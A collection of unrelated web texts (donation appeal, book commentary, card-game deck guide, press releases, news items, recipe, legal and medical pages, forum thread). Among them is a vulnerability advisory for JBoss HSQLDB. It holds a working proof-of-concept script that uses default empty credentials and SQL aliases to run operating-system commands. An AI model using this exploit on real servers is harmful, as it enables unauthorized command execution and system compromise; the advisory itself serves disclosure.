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I'm a big fan of independent journalism and I have a great respect for the folks making it happen. One such person is Zoriah. I've mentioned him in the past (and also interviewed him) and I hope that some of you have picked up an interest in his work. This man is very much living a life dedicated to everyone but himself.
Zoriah travels to some of the most extreme locations and situations on earth, with the sole intent of documenting the events taking place. He is often alone in his travels and he covers stories that are too severe and/or non-profitable for mainstream media. He puts himself in situations that most of us would never hope to see with our own eyes.
And because of his ways, Zoriah is forced to support his own work without the aid of corporate media. His blog is a major outlet for the work he does basically in real-time, and it is supported by the audience that follows him. Recently, his financial support has been dropping and Zoriah has been forced to cut back on his blogging. Again, this is his main outlet for uncensored media coverage, and it would be a major disappointment to let it go.
I'm asking that each of you consider donating what you can to Zoriah's cause. Epic Edits has over 5000 subscribers — if even half of us donated just $10, that would result in over $25,000 to support a true visionary. This amount of money would help to finance several more important stories that the world might otherwise not see. Please do consider helping out a friend.
And to end this post, here are a few of my favorite photos from Zoriah…
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A donation well worth it. Thanks for bring his amazing work to my attention.March 30, 2009 11:55 am
It's good of you to spread the word Brian. Hope people donates, I really do.March 31, 2009 12:39 am
Thanks for bringing this to my attention Brian! I just sent him $25 to help him continue his workMarch 31, 2009 11:33 am
It is a bad month for me and I'm unable to do the donation for now. I'm sure he can get some good money from news channels with those pics. It looks awesome!April 1, 2009 12:28 am


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I've started reading Conor Woodman's recent book, Unfair Trade. Once finished, I'll post a full review, however it's already given me some food for thought.
In the first chapter, Conor explains the perils of lobster diving as practised near Bilwi, Nicaragua. The locals dive many times per day in total ignorance of the risk brought about by such frequent decompressions.
Lobster trapping would be a less hazardous alternative but for the locals, the cost of entry is out of their league (about $1,500: 50 traps at $25-30 a piece).
The hapless divers tried to strike to improve their conditions but their customer, an intermediary food processing company, stared them down. The only other lever that can be pulled are the CSR commitments of the companies at the other end of the supply chain, such as Red Lobster restaurants. Even assuming that a ban on dive-caught lobster is helpful, Conor quickly illustrates how it is impossible to know the origin of any particular lobster and no one has set up any serious form of monitoring.
Just when it seemed like a lost cause, enter microfinance.
Yes it will certainly be better if, in the medium-term, the divers can secure some enforceable right to collective bargaining however if you want to assist people get out of the poverty trap you can do so today by making a loan through Grameen Foundation, Kiva or a similar organisation. It makes the difference between the likes of Conor's guide, Wally, having some kind of self-determination and being stuck in a vicious cycle of low wages and poor equipment.
The only criticism I've heard of microlending is one study which found that people who received funds easily were less inclined to take care of it. I'm not convinced that this is a widespread issue though.
You won't see the labour movement promoting this as a solution, which is fair enough since collective bargaining would give the Miskitos the leverage to improve their lot on a widespread basis. However you have to be realistic about how attainable that is in Nicaragua in its present state of economic development. In the meantime, concerned individuals can at least "do something" to give real assistance.
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- Where'd that shrimp come from? 13 January 2011
- Tropical fruit ain't all summer fun 1 September 2011
- Film Review: Around the World in 80 Trades (also by Conor Woodman) 22 September 2011

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By: John Tatta
The evolution of Dark Phoenix is an odd one. Since her release in the A-Force expansion, much speculation has been made about her perceived power level. Is she broken? Is she the best MC since Thanos? What is the proper way to build the deck? These are all questions that didn't really have answers. One thing that everyone more or less agreed upon was that Dark Phoenix was and is a very good Main Character. So that left everyone to wonder what the best build of her was. Pre-Origins I played upwards of 100 games with Dark Phoenix and every single one of them were with a Pixie/Singularity variant that had the backup plan of just ramping into huge supporting characters starting on turn 3 (five resources). In all of my testing games, this seemed to work pretty well. You'd have games that were tough to win because you missed a turn to ramp, or you'd have a bad draw here and there, but one of the two plans always seemed to just fall into place. I played against Thanos to a near even result, played against Luke Cage to very favorable results, and played a lot against Captain Marvel which was very hit or miss. Most importantly I was about 50/50 with Thanos and those numbers were fine with me headed into Origins. Following the VS 2PCG Collective on Facebook many other players were coming to roughly the same conclusion with Dark Phoenix taking a lot of first and second place finishes in local events.
So, I sleeved up my 60 cards and headed to Origins with Dark Phoenix. I had Thanos with me as well in case I wanted to just roll with him but ultimately just decided to play Dark Phoenix since I liked that deck the best. Also, it wasn't Thanos. I expected to see a lot of Thanos, Dark Phoenix, and Captain Marvel with a decent amount of Luke Cage but as it turned out most people just opted for either Thanos or their pet deck. I won't bother sharing the list as it's already outdated but it was the typical Pixie/Singularity combo style Dark Phoenix that seems to be the most popular build.
As this isn't a tournament report I'll again spare many details but I finished in 14th place narrowly missing top 8 after losing my 8th round match which would have likely put me in 7th or 8th after Swiss. My losses were to two Thanos (who both activated the Infinity Gauntlet on turn 3 or 4) as well as to Adam Logan's Luke Cage after a close game. More importantly though I realized the error in my deckbuilding early on in the event despite the good start to the day (3-1). What happened to me, and I assume others, is that I had tunnel vision when building the deck. I saw a card interaction that many also saw and recognized as good and just built a deck around it and fell in love with it. What I didn't do was stop to think if this was even the best idea for a deck who can really do much more powerful things that "just" combo into a big supporting character. Let's list the weaknesses of Dark Phoenix quickly:
- Weak to an early Cosmo
- Average to poor stats that have little chance of improving during the game
- Good faction but poor for the strategy of choice (ramp)
And of course the strengths:
- Game ending level 2 superpower
- One of the best, if not the best, level 1 superpower
- 7 friggin' health
Looking at that abridged list you can kind of deduce what kind of deck you want to make. You want a solid early game that preserves her 7 health, you want a way to not just fold to Cosmo, you want to figure out how to incorporate another faction or two to complement the ramp strategy, and you desperately want to abuse the level 1 superpower to the best of your ability. What my deck didn't have, and what most that I've seen don't have, is any kind of early game presence or any real way to preserve Dark Phoenix's 7 health. I tunnel visioned and just completely refused to believe that any Pixie combo deck should be playing with anything but giant characters and in the games that I lost at Origins I simply got overwhelmed early without preserving my health and couldn't recover when I had board position finally as my opponent just Ghost Rider'ed me out alongside Singularity. Post-Origins I went back to the drawing board and came up with some really good ideas.
The focal point of my ideas (I say my ideas but others have also figured this out on their own by now) was that Dramatic Entrance was extremely good for me in several scenarios. I wanted to build on that without the wonky "combo" strategy and see what I could come up with. Secondly, ramp is king in the deck. In games where I ramped I typically won pretty handily. Mantis immediately came to mind as not only a great ramp option but also incredibly powerful with Dramatic Entrance. Being able to turn your chump defender into a resource really takes the sting out of losing a card to Dramatic Entrance. While many are using DE to stun an attacker that wasn't expecting it, I wanted to simply use it for value with the occasional upside of also getting a free stun. Add to that the ability to potentially start using Even the Odds, an amazing plot twist at this juncture of the game, and I was on my way to the Neo-Dark Phoenix deck. Here is the version that I have been playing with since Origins:
Main Character – Dark Phoenix
(click here to also see the visual deck)
4 Cosmo
4 Mantis
2 Moonstone
4 She-Hulk
2 Modok
4 Miss America
1 Groot
3 Magneto
2 Drax
2 Rogue
2 Adam Warlock
3 Thanos
Plot Twists:
4 Shock to the System
3 Dramatic Entrance
2 Even the Odds
4 Madripoor
4 Academy
4 Fortress
3 Arcadia
This version had exactly everything that I wanted and didn't have any bad cards that needed another combo half (Pixie is terrible on her own. Like real bad). By cutting Pixie, you are able to free up blue locations from the deck. You still want some number of Arcadia so that you can reliably use She-Hulk and Rogue when they're in play but you predominantly want to just draw and use your Yellow and Green abilities. This version highlights my strongest cards from my Origins deck – Miss America, Rogue, Thanos, and the plot twists. It also foregoes Build a Better World in favor of Even the Odds which is just a much better plot twist. You also have ways to combat Cosmo, mainly an early Moonstone, so that you aren't just completely cold to the space dog. I've played a good number of games with this version of the deck and feel like it's in a good spot in the current metagame. Your Luke Cage matchup is extremely good, you're much better against Captain Marvel due to the EtO addition and Cosmo, and your Thanos matchup isn't damaged by the changes. It's tough to get better than 50/50 against Thanos no matter what your strategy is so I'm satisfied with that for now.
Some other ideas that I want to try out but haven't gotten around to it yet are to include Electro and Purple Man and play Fisk Towers rather than Arcadia but I'm not sure how to free up those slots just yet. Also, streamlining the deck slightly and playing A-Force Loki is an option but that is pretty risky, even with Dramatic Entrance. I'm not sure you need the card draw anyway and Modok can help you find missing drops to stay on curve. I'll be happy to answer any questions about the evolution of the deck and will be interested to see where each of you decide to take Dark Phoenix. I think that she has a ton of potential and absolutely think that she is a tier 1 deck. Until next time, I hope that you enjoyed the read!


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HMH – Hospitality Management Holdings Gears Up for a Strong Presence at ATM 2016
Hospitality Management Holdings will unveil its expansion plans at the Arabian Travel Market 2016 (ATM) that are strategically aligned with the massive development taking place in high growth markets across the GCC, particularly the UAE.
H.E. Sheikh Mohammed bin Faisal Al Qassimi, Chairman & CE, MANAFA LLC, and Vice Chairman, HMH, said, "We have identified UAE as the most significant growth market for HMH whereby we have set in motion a strong pipeline of development targeting a number of new properties representing the various brands. Our approach is to carefully select properties based on location, size, and requisite brand standards offering quality and service. HMH is not just about the size of portfolio, but the quality we offer across the board. Also, innovation and change in travellers' expectations demands preempting their needs through friendly service and memorable experience."
Tourism is the main driver for the GCC economy and particularly the UAE with travel forecast to grow strongly in the region over the next decade. The GCC has been consistently climbing the ranks of the World Economic Forum Travel & Tourism Competitiveness Index with the UAE making the top 24 slot in 2015 ahead of all other countries in the region.
H.E. Sheikh Mohammed bin Faisal Al Qassimi, stressed, "In the run up to Dubai World Expo 2020 and FIFA World Cup in Qatar in 2022 we are witnessing a major thrust on development of various infrastructure facilities accelerating the growth of tourism and hospitality sectors. Therefore, our aim is to capitalize on this phenomenal opportunity by capturing the maximum potential market share in the GCC, and specifically the UAE, for sustainable growth. We are in the process of negotiating some fantastic new projects that will bolster our presence in these key markets that we have so successfully positioned ourselves in".
HMH has demonstrated tremendous growth since its inception in 2003 being one of the pioneers among local groups from the region. Operating hotels in top destinations across the Middle East and Africa under its various brands namely The Ajman Palace Hotel, Coral Hotels & Resorts, Corp Hotels, EWA Hotel Apartments and ECOS Hotels, the group caters to diverse segments from luxury to budget. H.E. Sheikh Mohammed bin Faisal Al Qassimi said, "We understand the needs of our various travelers and their category requirements, and thereby provide them with international standards with local flavor across different categories. By concentrating on offering exceptional quality and consistent services, our objective is to create significant brand value appreciation that in turn will boost value of our assets."
H.E. Sheikh Mohammed bin Faisal Al Qassimi, Chairman & CE, MANAFA LLC
Commenting on the significance of Arabian Travel Market, and it being the ideal forum to announce the latest developments at HMH, H.E. Sheikh Mohammed bin Faisal Al Qassimi, "ATM offers us the perfect platform to explore new business opportunities in the UAE and rest of the GCC by attracting hotel owners and developers as well as by sharing our strategic news and promotions with the global travel trade professionals. It also allows us to discover the various trends and innovations shaping our industry. The fact that this leading international travel trade event is held in Dubai reinforces the emirate's supremacy as the tourism leader in the Middle East and is indicative of the strong market potential of the UAE".
Dubai's strategy is to attract 20 million tourists by 2020, with the arrivals forecasted to total more than 37 million by 2025, generating expenditure of AED 129.5 billion – an increase of 4 per cent annually. This indicates robust demand for accommodation.
Visit HMH on stand HC0420 in Sheikh Saeed Arena at Dubai International Convention and Exhibition Centre.


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Man charged in Oak Leaf Trail assaults
Man charged in Oak Leaf Trail assaults
A Milwaukee man has been charged with sexually assaulting two women on the popular Oak Leaf Trail.
Police said Tyrone Wilder grabbed one woman as she ran by and forced another to the ground.
According to the criminal complaint, he was able to get her pants down and assault her.
Police said she fought back, hitting him in the head with her phone and poking at his eyes with her fingers all the while screaming for help.
Police arrested Wilder a short time later near the lagoon on Lincoln Memorial Drive.
He told police he had been drinking and didn't know what had come over him, the complaint said.


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Low rolling: Local rates plummet at Las Vegas area courses
LAS VEGAS, Nev. - Golfing in Sin City just became down right affordable; for locals that is. A strong sampling of Clark County's priciest courses are raising the white flag on triple-digit rounds for residents in an attempt to stimulate business and bolster local loyalty.
Exactly what level of discounts can locals expect? The proverbial blackjack term "double down" comes to mind. Rio Secco Golf Club in Henderson fleeced residents with a $300 greens fee upon opening in 1997. Now locals can play the nationally ranked course for between $75 and $125, depending on the time of day and day of week.
Primm Valley's two highly regarded Tom Fazio designed layouts are now available for local consumption for an eye-popping $50. And it's not just the area's high-end, semi-private and daily fee courses that are dropping local rates. DragonRidge Country Club, a snazzy private facility in Henderson, is open to the public until it sells all its memberships. For a limited time, locals can play the exquisite Jay Morrish designed track for $40.
"On average, we are 30 percent cheaper than Scottsdale," Bill Walters, chief executive officer of Walters Golf, told LasVegasGolf.com last October. "We did a study that factored in airfare, lodging and the price of golf and we (Las Vegas) are more affordable."
Walters Golf owns and operates six local courses, and Bill Walters has been one of the primary forces in promoting Las Vegas as a golf destination over the past decade. Walters has lowered rates for locals at its Royal Links ($95, conditions apply), Stallion Mountain (private club, no resident rate) and Desert Pines ($58) courses.
Still, encouraging more local play and cementing Las Vegas' status as a true golf destination are two different animals. According to Las Vegas Convention and Visitors Authority figures, only 2 percent of the area's 35.8 million annual visitors come to Glitter Gulch to tee it up. By contrast, the Myrtle Beach, S.C. area receives approximately 13.6 million visitors annually, 4.3 million of which are golfers (31 percent).
Adding insult to injury, a recent Golf Digest ranking of America's best and worst metropolitan areas for golf rated Las Vegas 141 out of 314. Vegas also rated as one of the least affordable cities for golf in the U.S., ranking 249 out of 314 with an average greens fee of $144.43.
In Las Vegas' defense, the astronomical price for a round of golf is not the result of some conspiracy among developers and casino owners. The cost of building and maintaining an 18-hole golf course in Clark County is among the highest in the country.
Water costs are off the charts (Walters said the water budget alone at his Bali Hai Golf Club is over $900,000 annually). And courses often have to bring in truckloads of costly topsoil to support the growth of turf grass. Walters said it takes at least $2 million just to maintain an 18-hole layout in Clark County, a figure that deters mid-level golf course developers from getting into the fray.
If that figure is accurate, a new golf course would need to generate 40,000 rounds and charge $50 per round just to cover maintenance costs. Factor in salaries, insurance, and profit margin and it is no accident that the majority of courses to open in and around Vegas over the past 10 years have been of the $200- to $300-a-round variety.
Whether or not Las Vegas emerges as a golf destination with the same drawing power as Myrtle Beach, Scottsdale/Phoenix or even Palm Springs/Palm Desert remains to be seen. The quality courses are in place, but marketing efforts aimed at promoting the area as a golf destination are few and far between. Walters' aforementioned study indicated a latent demand of nearly two million golfers, and he believes every effort should be made to get those potential golf bag-toting visitors to town. Until he does, though, the locals have the run of the castle.
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Vegetable Quiche
1/2 package pie crust mix
1 pound cooked spinach, well drained
1/2 cup chopped green onions
1 clove minced garlic
2 tablespoons butter
6 ounces shredded Swiss cheese
3 eggs, slightly beaten
1/2 cup milk
1 teaspoon salt
1 teaspoon basil
1/2 teaspoon celery salt
2 medium tomatoes, thinly sliced
1 tablespoon bread crumbs
1 tablespoon parmesan cheese
Prepare piecrust and flute edges (you can also use a pre-made crust). Press water from spinach, chopped finely. Sautee green onions and garlic in butter in medium pan until golden brown. Add spinach. Cook until moisture is gone. Combine spinach with cheese, eggs, milk, salt, basil and celery salt in a large mixing bowl and mix well. Spoon into pastry shell, arrange tomato slices around edges. Bake in hot oven at 425 for 15 minutes, then lower heat to 350 and bake for 10 minutes.
Combine crumbs and cheese and sprinkle on tomatoes, bake for 10 minutes longer or until top is puffy and center moves slightly when quiche is moved gently. Let stand for 10 minutes.
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New Jersey Employment Discrimination Lawyers
Unfortunately, discrimination in the workplace remains a fact of life even in the 21st century. This is true despite the existence, for over 40 years, of laws against discrimination and despite the increasing number of lawsuits brought on behalf of employees here in New Jersey and around the country challenging discrimination.
While discrimination in the workplace continues, there is rarely "smoking gun" evidence of its existence. Instead, discrimination often takes more subtle forms, without any "paper trail" being left. Without highly experienced lawyers skilled in uncovering the evidence of employment discrimination, an employee bringing a claim of discrimination will likely not succeed.
Advantages Under the New Jersey Law Against Discrimination
In bringing an employment discrimination suit in New Jersey, there are a number of distinct advantages in proceeding under the New Jersey Law Against Discrimination, as opposed to under any of the federal anti-discrimination laws such as Title VII of the Civil Rights Act. First and foremost, under New Jersey's law, there is no requirement that the employee first file with the Equal Opportunity Commission, or with the parallel state agency, the New Jersey Division on Civil Rights. Instead, under the New Jersey Law Against Discrimination, an employee has the right to directly proceed into state court with a lawsuit, so long as the case is brought with the two –year statute of limitations. Moreover, whereas the federal civil rights laws place limits or "caps" on damages that can be recovered, the New Jersey Law Against Discrimination places no limits on the amount a plaintiff can recover in a lawsuit brought under that law.
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Recently, it should be noted, by sneaking language into employment applications or otherwise, some employers have attempted to drastically shorten the period under which employees must file suit under the New Jersey Law Against Discrimination. The ability of employers to do so is now before the New Jersey Supreme Court in the case of Rodriguez v. Raymours Furniture. On behalf of the New Jersey chapter of the National Employment Lawyers Association, our firm recently filed an amicus (friend of the court) brief with the Court, arguing that New Jersey employers should not be allowed to get away with such maneuvers. A decision in the case is expected sometime in 2015.
In our brief to the New Jersey Supreme Court, we wrote as follows:
[This Court should not] allow employers to utilize employment applications as a tool to lure employment applicants – those who are anxiously focused on finding a new job, and not on the legalese in an application – to waive their right to petition the court for redress up to two years after suffering a discriminatory act. In other words, a key facet of New Jersey's civil rights laws protecting workers from discrimination and retaliation would now be subject to unilateral revision by any employer in this State via the use of contracts of adhesion. The opinion below has been described as a "game changer," an "opportunity" for an "employer to choose its own limitation period" and "a decision that affects every employer and employee in the state" by commentators. Before the "game is changed," this Court should grant Certification in order to review whether the Law Against Discrimination statute of limitations can be lawfully truncated through such adhesion contracts.
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My eight old son, diagnosed with type 1 diabetes about seven months ago and on twice daily NPH insulin, is consistently hypoglycemic within one hour of taking the insulin even after a meal, although he does get sugars in the high 200s [mg/dl, 11.1 mmol/L]. I am wondering if this insulin is causing not only the lows but the high sugar levels.
This is not such a very unusual story which seems to occur occasionally in children who are still producing some of their own insulin and who have rather little subcutaneous fat. The explanation usually offered is that some or all of the insulin is injected intramuscularly where it has a much faster action. This seems particularly to occur after vigorous exercise and thus with the evening dose. The initial remedy should be make absolutely sure that the insulin is injected subcutaneously. The more rapid action of the NPH may also reflect more rapid destruction and hence the later mild hyperglycemia.
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source: http://www.securityfocus.com/bid/8773/info A remote command-injection vulnerability has been reported in JBoss. The issue is reportedly exposed via the HSQLDB component, which is a SQL database server that manages JMS connections. Because of a number of flaws, an attacker can pass commands to the HSQLDB component via the port it listens on. Note that the port may vary between versions; by default it is 1701/TCP for JBoss 3.2.1 and 1476/TCP for 3.0.8. Attackers can exploit this issue to mount a number of attacks, including execution of database commands, denial-of-service attacks, log manipulation, information disclosure, and execution of operating system commands on some supported platforms. This issue is reported to exist with JBoss 3.2.1/3.0.8 on any Java 1.4.x-enabled platforms. Other versions may also be affected. <target name="cmdinject"> <sql classpath="hsqldb.jar" driver="org.hsqldb.jdbcDriver" url="jdbc:hsqldb:hsql://${host}:${port}" userid="sa" password="" print = "true" > CREATE ALIAS COMPDEBUG FOR "org.apache.xml.utils.synthetic.JavaUtils.setDebug" CREATE ALIAS SETPROP FOR "java.lang.System.setProperty"; CREATE ALIAS COMPILE FOR "org.apache.xml.utils.synthetic.JavaUtils.JDKcompile"; CALL COMPDEBUG(true); CALL SETPROP('org.apache.xml.utils.synthetic.javac','cmd.exe'); CALL COMPILE('/c REGEDIT.EXE',''); </sql> </target>
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Beyonce & Jay-Z: 'Part II (On the Run)' - Listen Now!
Check out your first listen of the highly anticipated collaboration between Beyonce and Jay-Z – "Part II (On the Run)"!
The track is the follow up to their song "03 Bonnie & Clyde," which was featured on Bey's first solo album Dangerously in Love ten years ago.
Jay revealed that the new song would be on his upcoming album Magna Carta… Holy Grail when he released the lyrics to the track last week.
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1. Maison Bertaux
Established in 1871, Maison Bertaux claims to be London's oldest patisserie. As well as boasting a rich history, the Soho institution offers a mean selection of sweet treats, including cream cakes, French fancies, fruit tarts, eclairs and florentines.
2. Ms Cupcake
London's first entirely vegan bakery, Ms Cupcake doesn't let a little thing like no butter, eggs, milk, cheese or honey stand in her way. Head down to the Brixton outlet to stock up on her creative results: including freshly baked cupcakes, cookies, savouries and more besides.
3. Konditor & Cook
Everyone raves about Konditor & Cook's Curly Whirly cake – and with good reason. Below its vanilla bean frosting, decorated with swirls of dark chocolate ganache, lies a rich, dark chocolate sponge; heaven in a slice. Other top creations include the Whiskey Bomb, a veritable work of art, and the dark and intense chocolate brownies.
4. Crazy Baker
If you've never experienced a "whoopie pie", the Crazy Baker - a.k.a. Sophie Grey - will show you how it's done. Head to her bakery-cum-cafe in Kensal Green to try one for yourself – but try not to get distracted by the artisan bread, cupcakes, and pastries whilst you're there (no easy task).
5. Bea's Cake Boutique
Previously named Bea's of Bloomsbury, Bea's Cake Boutique lures customers in with its creamy cupcakes, handmade marshmallows, mini meringues and all the other sweet dreams that emerge from its open-plan pastry kitchen. The cake shop has five branches across the capital, in Bloomsbury, Marylebone, St Paul's, Farringdon and Maida Vale.
6. Primrose Bakery
Based in Primrose Hill, Kensington High Street and Covent Garden, Primrose Bakery knows that adults love cupcakes as much as kids. So, in addition to its classic cake range, grown-up boys and girls are also allowed to try cocktail cupcakes – laced with Margarita, Gin & Tonic and Mojito! Want to learn the chef's secrets? Check out the Cupcake Masterclasses, led by its expert head chefs.
7. Betty Blythe
Vintage tearoom Betty Blythe brings the golden 1920s to life with its beautiful flowered china, black and white photos and vintage dressing-up box; a must for any hen party, baby shower, or kids' party. Pop in for a taste of Betty's gingerbread biscuits or make an afternoon of it with the Traditional Victorian Afternoon Tea or Glamorous Great Gatsby Afternoon Tea. Flapper dress/top hats are optional, but strongly recommended.
8. Hummingbird Bakery
Home of the red velvet cupcake, Hummingbird Bakery has been serving up delicious, American-style home-baked treats in London since 2004. Succumb to the temptation with a visit to the original Hummingbird on Portobello Road in Notting Hill, where you can sample the decadent range of cupcakes, layer cakes, brownies, pies, cheesecakes and more. Hummingbird also has branches in South Kensington, Soho, Spitalfields, Islington and Richmond.
9. Cutter & Squidge
Just yards away from its previously successful pop-up space, Cutter & Squidge's Soho home is full of sweet delights. Choose from a wide selection of its speciality biskies, or opt for vegetarian marshmallows, dream cakes, honeycomb or its award-winning salted caramel. It also has a Secret Garden in its basement, which is perfect for a quietly indulgent bite to eat.
10. St John Bakery
Raspberry, rhubarb, peach, strawberry, salted caramel custard... just thinking about the fillings in St John's fresh doughnuts is enough to make you drool. That explains the queues outside St John Bakery on Druid Street every Saturday morning. Our favourites also include the freshly baked madeleines, flaky eccles cakes and rich brownies.


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SOURCE: GlobalWise Investments, Inc.
March 06, 2012 07:30 ET
COLUMBUS, OH--(Marketwire - Mar 6, 2012) - GlobalWise Investments, Inc. (OTCBB: GWIV) (OTCQB: GWIV) (www.GlobalWiseInvestments.com) and its wholly owned subsidiary Intellinetics, Inc., a leading-edge technology company focused on the design, implementation and management of cloud-based Enterprise Content Management ("ECM") systems in both the public and private sectors, today provides an overview of one the Company's channel sales partners, Primary Solutions, Inc.
Primary Solutions, Inc. (www.primarysolutions.net) provides software products and services for private and governmental markets within the developmentally disabled community in Ohio. Founded in 1998, Primary Solutions provides its software products to over 330 private agencies and governmental entities.
Primary Solutions became one of Intellinetics' early channel partners in 2011 as part of the Company's first steps toward transitioning from a direct sales model to a channel sales model. Since that time, this individual channel partner has secured twelve Intellivue™ ECM sales for the Company, three during the first two months of 2012, collectively representing approximately $430,000 in incremental revenue and averaging approximately $36,000 per sale.
"The Intellivue™ ECM solution has been a great addition to our software portfolio," stated Brian Marshall, President of Primary Solutions, Inc. "This robust ECM solution has enabled our clients to better manage and control their documents. With the sensitive nature of patient information, it is vital that privacy is upheld and the redaction capability of the Intellivue™ software allows us to manage privacy and security more effectively than any other solution we've seen in the marketplace."
"We began the transition to a channel sales model in 2011 as a part of a new strategy to rapidly expand our sales capability," commented William J. "BJ" Santiago, CEO of GlobalWise. "With the Intellivue™ software platform now cloud-enabled, our service delivery model is highly scalable and our software can be delivered virtually anywhere in the world. By implementing a channel sales model with strategic partners who are already selling software solutions into our target markets, we're now able to more efficiently access a much larger universe of potential clients."
"The development of an effective channel sales strategy was one of my top priorities when I arrived at the Company from Lexmark International," continued Santiago. "While each channel partner is unique and sales expectations vary by relationship, throughout 2011 we added a total of 14 new channel sales partners and expect to expand the program significantly in 2012."
About GlobalWise Investments, Inc.
GlobalWise Investments, Inc., via its wholly owned subsidiary Intellinetics, Inc., is a Columbus, Ohio based Enterprise Content Management (ECM) pioneer with industry-leading software that delivers cloud ECM based solutions on-demand. The Company's flagship platform, Intellivue™, represents a new industry benchmark and game-changing solution by enabling clients to access and manage the content of every scanned document, file, spreadsheet, email, photo, audio file or video tape -- virtually anything that can be digitized -- in their enterprise from any PC, laptop, tablet or smartphone from anywhere in the world.
For additional information, please visit the Company's corporate website: www.GlobalWiseInvestments.com
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(CNN) -- Crew members of The Plastiki expedition are nearing departure from New Caledonia as they prepare for the final stage of their marathon cross-Pacific journey.
"Our last night in New Caledonia, I'm looking forward to the last leg and hope for some nice weather to get us to Sydney," co-captain David Thomson posted Tuesday on his Twitter account.
The Plastiki catamaran, made of recycled plastic, arrived in New Caledonia on June 28 for what was scheduled to be its last port call before its final destination of Australia.
While in New Caledonia, the Plastiki's crew, headed by environmentalist and adventurer David de Rothschild, prepared for what the crew expected to be a rough final leg after more than 100 days at sea.
As the catamaran has entered the Southern Hemisphere's winter weather, it will have to withstand the rain and strong winds expected between New Caledonia and the Australian shore.
Winds had ripped sails aboard the vessel, even before the voyage enters the worst of the weather, crew members said in recent blog postings. Crew members will use the stop in New Caledonia to ensure that the repairs can withstand the rougher seas that lie ahead. The pit stop will also be used to replenish the crew's food and water supply.
The vessel had last stopped three weeks ago at Samoa, where repairs to the catamaran's structure were made after it was discovered that beams supporting the boat had buckled and were out of place.
Weather allowing, the Plastiki will leave New Caledonia by this Friday to begin their home stretch journey to Australia's eastern coast. Crew members plan to head to Coffs Harbour and then Sydney.
The Pacific voyage aboard the 60-foot catamaran is intended to highlight the growing amount of plastic waste in the oceans and to spur public debate on finding ways to turn the waste into a resource.
Since departing San Francisco in mid-March, the Plastiki has traveled nearly 7,000 nautical miles.


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The Silver School of Social Work at NYU presents Dr. Sue Johnson, author of Hold Me Tight: Seven Conversations for a Lifetime of Love. Dr. Johnson will conduct a full day presentation, featuring interactive audience participation and multimedia.
Emotionally Focused Couple Therapy (EFT) offers a unique perspective on how to use the power of emotion and the new science of adult attachment to create significant, lasting change in couple relationships. EFT demonstrates excellent outcomes with many different kinds of couples, including those facing trauma and depression. Key change events and therapist interventions predictably lead to positive outcome in this model. The clear map of adult love and loving offered by attachment theory helps the therapist to tune into the neural duet, the life and death drama defining a distressed relationship and restructure pivotal moments so that partners can move from isolation and frustration into a felt sense of security and lasting satisfaction. Issues such as forgiveness after attachment injuries and affairs will also be addressed.
This presentation combined cutting edge theory, research, and clinical data into a 21st century vision of couple therapy and education.
For more on EFT and Dr. Johnson's work, please visit the International Centre for Excellence in Emotionally Focused Therapy (ICEEFT) and the Hold Me Tight website.
The basics of EFT practice and the steps of change will be outlined. Interventions will be illustrated with videotapes and transcripts and exercises involving role playing and practice.
Goals of the Program:
Participants will be able to:
1. Outline the key concepts of EFT and attachment theory.
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SPRING HILL, Tenn. — A Spring Hill firefighter found out just how dangerous a rattlesnake can be even with its head cut off.
Kyle Watson was evacuated by helicopter from a remote trail at the Creeks Bend Natural Wildlife Area in Maury County, when he came across a juvenile timber rattlesnake while hiking with his wife and three children.
There were a number of people on the trail at the time. Watson was concerned that hikers would be in danger with the rattler so close to the trail.
"I decided to cut the head off the snake with a kayak paddle," Watson told WSMV.
The snake was only a few feet long. After Watson decapitated the snake, he wanted to show his children the head. Unable to pick the snake's head up with the paddle, Watson used his hand. What happened next could only be described as terrifying.
"The head turned and struck me on the finger. It latched on and I slung it off," Watson said.
The snake packed a poisonous punch. Venom began to course through his body.
"It took about 10 seconds for the burning sensation to start shooting through my arm. Within 60 seconds, I was unconscious. I fell on the trail and hit the back of my head on a rock. I was knocked out. In a remote area, bleeding from the head and bitten by a snake," Watson said.
Creeks Bend Natural Wildlife Area encompasses thousands of acres of pristine land by the Duck River, but it's also miles from help.
Following a quick response by Maury County Fire and Emergency Medical Services, Watson was stabilized in the field.
He was flown to Vanderbilt Medical Center, where he was quickly put on an IV drip of anti-venom serum.
A toxicologist with Vanderbilt Medical Center told Channel 4 the only treatment that can save someone bitten by a poisonous snake is anti-venom serum. Nothing else will work.


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Just checked the release notes for the development branch and didn't spot anything relating to this, so I thought I'd post here in case it hasn't been spotted yet.
We've just installed 4.20.01, and I've been adding some calls to ::getMemoryInfo() but noticed that at line 66 in fmod_memoryinfo.h, FMOD_MEMTYPE_STREAMINSTANCE is assigned the value 20 when it looks like it should be 30 (and 20 is already assigned to FMOD_MEMTYPE_GEOMETRY).
Similarly, FMOD_MEMTYPE_EVENTINSTANCE_LAYER is assigned 30 when it looks like it was meant to be 40.
Seems like a cut-and-paste snafu to me…
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Discussion in 'Current Events' started by Gunny, May 7, 2008.
Oh wah.
Since when can teachers confiscate legal personal property and throw it in the garbage?
Since for ever. But he did not throw it in the "trash" he put it in the can because that was what was available, which leads me to believe it was an EMPTY can.
Idaho, at least the Panhandle, is full of a lot of racist white people. The Teacher probably did save the kid from a beating.
The nanny state is an ideal when it supports your ideals, I see.
Moron. I suggest you do a little research on REALITY in small town Idaho.
I'm sure the teacher would have behaved exactly the same way if the kid had an American flag.
He wouldn't have been worried if the kid had an American flag. Context is your friend.
Don't get me wrong, I don't assume the Teacher is not also a racist, I am noting the fact that his actions were probably based on the REALITY of the situation in this specific case. But you liberal pin heads are free to pretend the real world and what happens in it does not matter.
Good one!
What does nanny state have to do with this incident? I don't see anything in the article about supporting people with handouts comprised of my tax dollars until they feel entitled to them and forget how to think for themselves.
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I hope you all have had a fantastic week! We have had a pretty good week here in Vancouver the best place ever!
Some of the best stories from the week include...
Jimmy is doing really good. He is just a blessing from heaven! I have never met anyone so sincere and so grateful for everything that anyone does for him. He is in such a hard situation and yet he is so grateful for everything that he has been given large or small. NO one could tell me that our experience of finding him-and finding him at the time when he is so prepared for the gospel-was by accident. God is here and he does live. He is intimately involved in our lives. He bestows blessings upon all of his children and especially upon the grateful: those who recognize from whence their blessings come.
We came up with a genius idea this week to keep ourselves entertained while we are out and about. We got this idea from the Adjusting to Missionary Life book (it's not a direct idea so don't go looking for it. You know how my ideas come... from all over the place:) But we choose during the day either who, what, when, where, or why questions and then we ask each other questions with that all day long. And if we are feeling super creative we try and do that when we talk to someone. It's been a party. I've since discovered what Sister Hansen's house color preference is, where she wants to go on vacation, uh... okay and like 100 more. :) It's a party.
